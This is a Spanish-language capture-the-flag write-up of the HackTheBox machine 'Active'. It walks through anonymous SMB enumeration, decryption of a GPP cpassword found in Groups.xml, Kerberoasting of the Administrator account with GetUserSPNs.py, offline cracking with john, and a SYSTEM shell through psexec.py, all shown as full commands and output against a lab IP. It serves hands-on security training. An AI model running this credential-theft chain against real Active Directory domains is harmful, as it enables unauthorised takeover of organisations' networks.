Active Writeup - HackTheBox
¡Saludos!
En este writeup, vamos a analizar la máquina Active de HackTheBox, clasificada con un nivel de dificultad fácil en la plataforma. Se trata de una máquina con sistema operativo Windows que nos permitirá practicar la técnica de enumeración SMB. Durante este proceso, encontraremos un archivo Groups.xml
que contiene una contraseña cifrada con AES-256. Esta contraseña se ha establecido mediante GPP (Group Policy Preferences), para descifrar la contraseña, usaremos la herramienta gpp-decrypt
, que nos proporcionará las credenciales de un usuario del dominio. Con estas credenciales, podremos realizar un ataque Kerberoasting, que consiste en explotar una vulnerabilidad del protocolo Kerberos. Este ataque nos permitirá descubrir que la cuenta del Administrador tiene configurado un SPN (Service Principal Name), lo que significa que podemos solicitar un TGS (Ticket Granting Service) para esa cuenta. Para ello, usaremos la utilidad GetUserSPNs.py
, que nos devolverá el hash del TGS. A continuación, podremos descifrar el hash mediante un ataque de fuerza bruta offline y obtener la contraseña del Administrador. Finalmente, con la herramienta psexec.py
, nos autenticaremos en la máquina víctima y conseguiremos el acceso completo.
¡Vamos a empezar!
Reconocimiento activo
Como primer paso, lanzamos el comando ping
desde nuestro equipo atacante para verificar si la máquina objetivo está activa.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.100
PING 10.10.10.100 (10.10.10.100) 56(84) bytes of data.
64 bytes from 10.10.10.100: icmp_seq=1 ttl=127 time=107 ms
--- 10.10.10.100 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 106.769/106.769/106.769/0.000 ms
Dado que el TTL
es cercano a 128, podemos inferir que la máquina objetivo probablemente sea Windows.
Escaneo
A continuación, realizamos un escaneo con Nmap
para identificar los puertos abiertos en el sistema objetivo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
❯ nmap -p- --open -n -sS -Pn --min-rate 5000 10.10.10.100 -oG allPorts.txt
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-23 22:13 -05
Nmap scan report for 10.10.10.100
Host is up (0.12s latency).
Not shown: 65479 closed tcp ports (reset), 33 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5722/tcp open msdfsr
9389/tcp open adws
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49165/tcp open unknown
49168/tcp open unknown
49169/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 16.15 seconds
Enumeración
Seguidamente, efectuamos una enumeración de las versiones de los servicios asociados a los puertos abiertos. Además, activamos los scripts predeterminados de Nmap
para realizar pruebas complementarias sobre los puertos y servicios identificados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
❯ nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49169 -sV -sC --min-rate 5000 10.10.10.100 -oN services.txt
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-23 22:14 -05
Nmap scan report for 10.10.10.100
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-24 03:15:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
49168/tcp open msrpc Microsoft Windows RPC
49169/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-07-24T03:16:03
|_ start_date: 2023-07-24T00:01:08
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.52 seconds
El reporte de Nmap
indica que nos encontramos con un Domain Controller de Active Directory, ya que se identificaron puertos comunes como el 88
(Kerberos), 389
(LDAP), 139
y 445
(SMB), 53
(DNS), entre otros. También se sugiere que el controlador de dominio es Windows Server 2008 R2 SP1.
Además, se identificó el dominio active.htb
y se agregó a /etc/hosts
con la dirección IP de la máquina objetivo para una traducción correcta.
1
❯ echo "10.10.10.100\tactive.htb" >> /etc/hosts
SMB - 139/445
Al disponer del servicio SMB, procedemos a llevar a cabo una enumeración de los recursos compartidos utilizando smbmap
.
1
2
3
4
5
6
7
8
9
10
11
❯ smbmap -H 10.10.10.100
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON NO ACCESS Logon server share
Replication READ ONLY
SYSVOL NO ACCESS Logon server share
Users NO ACCESS
Se observa que el único recurso compartido al que tenemos permisos de lectura es “Replication”.
Enumeramos recursivamente los archivos y directorios almacenados en el recurso compartido y encontramos lo siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
❯ smbmap -H 10.10.10.100 -R Replication
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions Comment
---- ----------- -------
Replication READ ONLY
.\Replication\*
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 active.htb
.\Replication\active.htb\*
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 DfsrPrivate
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 Policies
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 scripts
.\Replication\active.htb\DfsrPrivate\*
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 ConflictAndDeleted
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 Deleted
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 Installing
.\Replication\active.htb\Policies\*
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 {31B2F340-016D-11D2-945F-00C04FB984F9}
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 {6AC1786C-016F-11D2-945F-00C04fB984F9}
.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\*
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 ..
fr--r--r-- 23 Sat Jul 21 05:38:11 2018 GPT.INI
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 Group Policy
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 MACHINE
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 USER
.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\*
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 ..
fr--r--r-- 119 Sat Jul 21 05:38:11 2018 GPE.INI
.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\*
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 Microsoft
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 Preferences
fr--r--r-- 2788 Sat Jul 21 05:38:11 2018 Registry.pol
.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\*
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 Windows NT
.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\*
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 Groups
.\Replication\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\*
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 ..
fr--r--r-- 22 Sat Jul 21 05:38:11 2018 GPT.INI
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 MACHINE
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 USER
.\Replication\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\*
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 Microsoft
.\Replication\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\*
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 05:37:44 2018 Windows NT
Al revisar la estructura, parece ser una copia de SYSVOL. Esto es potencialmente interesante desde el punto de vista de la escalada de privilegios, ya que las directivas de grupo (y las preferencias de directivas de grupo) se almacenan en el recurso compartido SYSVOL, el cual es legible para todos los usuarios autenticados.
Dado este contexto, resulta relevante buscar el archivo Groups.xml
, ya que a menudo contiene credenciales de Active Directory. En este caso, lo encontramos en la siguiente ruta: Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
. Luego, procedimos a descargarlo en nuestra máquina local.
1
2
3
❯ smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
[+] Starting download: Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml (533 bytes)
[+] File output to: /home/juanr/CTF/HTB/Active/content/10.10.10.100-Replication_active.htb_Policies_{31B2F340-016D-11D2-945F-00C04FB984F9}_MACHINE_Preferences_Groups_Groups.xml
El contenido del archivo revela la contraseña encriptada cpassword
.
1
2
3
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
En este punto, es importante señalar que las Preferencias de Directiva de Grupo (GPP) se introdujeron en Windows Server 2008 y permitían a los administradores modificar usuarios y grupos en toda la red, entre otras características. Un caso de uso típico era cuando la imagen base de una empresa tenía una contraseña de administrador local débil y los administradores deseaban cambiarla a algo más seguro de manera retrospectiva. La contraseña definida se cifraba con AES-256
y se almacenaba en el archivo Groups.xml
.
Sin embargo, en algún momento de 2012, Microsoft publicó la clave AES en MSDN, lo que significa que las contraseñas establecidas mediante GPP ahora son triviales de descifrar y se consideran fácilmente accesibles.
Bajo este contexto, es posible descifrar la contraseña utilizando la utilidad gpp-decrypt
.
1
2
❯ gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
GPPstillStandingStrong2k18
Ahora tenemos conocimiento de que la cuenta de dominio SVC_TGS
tiene la contraseña GPPstillStandingStrong2k18
.
Enumeración autenticada
Con credenciales válidas para el dominio active.htb
, podemos proceder a la enumeración. Ahora tenemos acceso a los recursos compartidos NETLOGON, SYSVOL y Users.
1
2
3
4
5
6
7
8
9
10
11
❯ smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON READ ONLY Logon server share
Replication READ ONLY
SYSVOL READ ONLY Logon server share
Users READ ONLY
En ese caso, podemos obtener la primera flag de la máquina descargándola desde la ruta Users/SVC_TGS/Desktop/user.txt
.
1
2
3
❯ smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18 --download Users/SVC_TGS/Desktop/user.txt
[+] Starting download: Users\SVC_TGS\Desktop\user.txt (34 bytes)
[+] File output to: /home/juanr/CTF/HTB/Active/content/10.10.10.100-Users_SVC_TGS_Desktop_user.txt
Una vez en la máquina local, procedemos a leerla.
1
2
❯ cat 10.10.10.100-Users_SVC_TGS_Desktop_user.txt
23e281cd3bf13336****************
Utilizando rpcclient
, procedemos a enumerar los usuarios del dominio.
1
2
3
4
5
❯ rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c "enumdomusers"
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[SVC_TGS] rid:[0x44f]
Además, enumeramos los grupos del dominio.
1
2
3
4
5
6
7
8
9
10
11
12
❯ rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c "enumdomgroups"
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[DnsUpdateProxy] rid:[0x44e]
Notamos que el único usuario en el grupo Domain Admins
es Administrator
.
1
2
❯ rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c "querygroupmem 0x200"
rid:[0x1f4] attr:[0x7]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c "queryuser 0x1f4"
User Name : Administrator
Full Name :
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : Built-in account for administering the computer/domain
Workstations:
Comment :
Remote Dial :
Logon Time : dom, 23 jul 2023 19:02:28 -05
Logoff Time : mié, 31 dic 1969 19:00:00 -05
Kickoff Time : mié, 31 dic 1969 19:00:00 -05
Password last set Time : mié, 18 jul 2018 14:06:40 -05
Password can change Time : jue, 19 jul 2018 14:06:40 -05
Password must change Time: mié, 13 sep 30828 21:48:05 -05
unknown_2[0..31]...
user_rid : 0x1f4
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000041
padding1[0..7]...
logon_hrs[0..21]...
Explotación
Kerberoasting Attack (GetUserSPNs.py)
La autenticación Kerberos emplea Service Principal Names (SPNs) para vincular una cuenta con una instancia de servicio específica.
GetUserSPNs.py
es útil para identificar cuentas configuradas con SPNs.
1
2
3
4
5
6
7
❯ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 14:06:40 2023-07-23 19:02:27
Es evidente que la cuenta active\Administrator
ha sido configurada con un SPN.
Además, GetUserSPNs.py
también puede solicitar el TGS (Ticket Granting Service) y extraer su hash para descifrarlo offline.
1
2
3
4
5
6
7
8
9
❯ python2 /usr/local/bin/GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 14:06:40 2023-07-23 19:02:27
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$ed9b2b294623ae3bb7b6255f5acc42af$b6292c36bede82ac228353f151f973e98696422ffa850ab9b60534478d0047f79437d471326860edb4f4e1c40067b3efc9dd190186ac68fd7330a346cae805a79f48acc7ae0f2825819f47ed399101699c27b7b06dee597566ed8631ba1fe23aa0e7617d8ac477363c2d4a6b98a7513c7482390ec6b731ca39a2a8b44942413a65263c19ba5125e40aa34f549b0c783f7ab831518a0f5bbdc897942daebb088d6eb9d1608a30dc17a9da7fb666160042c4f9bd9de8b21a9a6471c99360f6b29ac7be47ac287e18df168ceeeff42521409d89bfa9267d9ab7675ae8b86e4286350523f7ba4d9746e9c9425f53fdd3d80ed078cb78f83f24ffea29dc65d618ed6f66648aacb9570f4d6af50cbd5b5f3c6ccd6b7e2ee9a0574fb0e403a31db99acc7a02c47b90db728b31953c7143b27d19cdbfa304e6e9b2c606168a255fc2b79ab9385e36c04d741a2bf7725f6f9d8c811c72e30203b1e604817964729e446f2e3e060e7bad4e7d46bb659f7f66ad544f5d3648fc6ac82cc20b652c9eb1bb6dde7bf3511acb4eb4dee30537be779b4db76e23fff41c6c4205762271f6327059048bb3982cdd208f3912ddffa0cbe31c02c3a1d146d67dd9df203f50be8af34365974524721658d4ebb75986ed2bb461503394b44afbe5d15c814ba0e39ef56798e17ec5bdd142a51b74ff5095123ce0eeb54680a684d15894a647b50961a55f006b5978b972ea283c34c9df837f2c45c5ac619e82f5f3748346138b9f927ca786dc739e7a6cf7813b9ece4f9734d8d1587e3a0e89bf5ee2e844a929af8c7b6b51e7b0fce99e8e78d50e80014b9c51fbcbcb8d65f4e168c4ecef45c2f030354248ed3afd0f1a17945311cc3efb77eeb0dacfc312aa11cc3c19ce7396534878ad7a63f5131cd5ad813df272658df117533d7e3611af9dbbb90d3526dc59367936317ad239be682660710035cd3d4248f7101a67d2295bb9bbee6d256be9242c3a4bea8968eb69cc100ce9a52e7cdedc3a4e85ffd36e761381d8fcb29f6f275a853eaa22ca10f6ca8ebaf563503de97cf2166a69131f193142021cfff7f5bbaddd652a73dc666823a2a52c15c7662fe443c7873753f6547bed210d1e95e55c085d3f1d764c74ca17b7595339e98ed33304211f8dc189bb3313db7ccacf75b677a60156f14eeb025eb7171c8cd6075a877c010422b74d7aa032e9bc4dd0606b1311f1eaa9af86638c3f12379b9ced9daf762facde3488503c88a7ac85
Crackeamos fácilmente el hash utilizando john
y obtenemos la contraseña en texto plano.
1
2
3
4
5
6
7
8
9
❯ john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:05 DONE (2023-07-24 01:23) 0.1984g/s 2090Kp/s 2090Kc/s 2090KC/s Tiffani1432..Thrash1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Validamos con crackmapexec
para verificar si la contraseña es correcta.
1
2
3
❯ crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
Ahora podemos utilizar psexec.py
para obtener un shell como nt authority\system
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file bFasAtJO.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service qvnS on 10.10.10.100.....
[*] Starting service qvnS.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
Finalmente, leemos la flag root en la ruta habitual.
1
2
C:\Windows\system32>type c:\users\administrator\desktop\root.txt
705b8532759d39c9****************
!Happy Hacking¡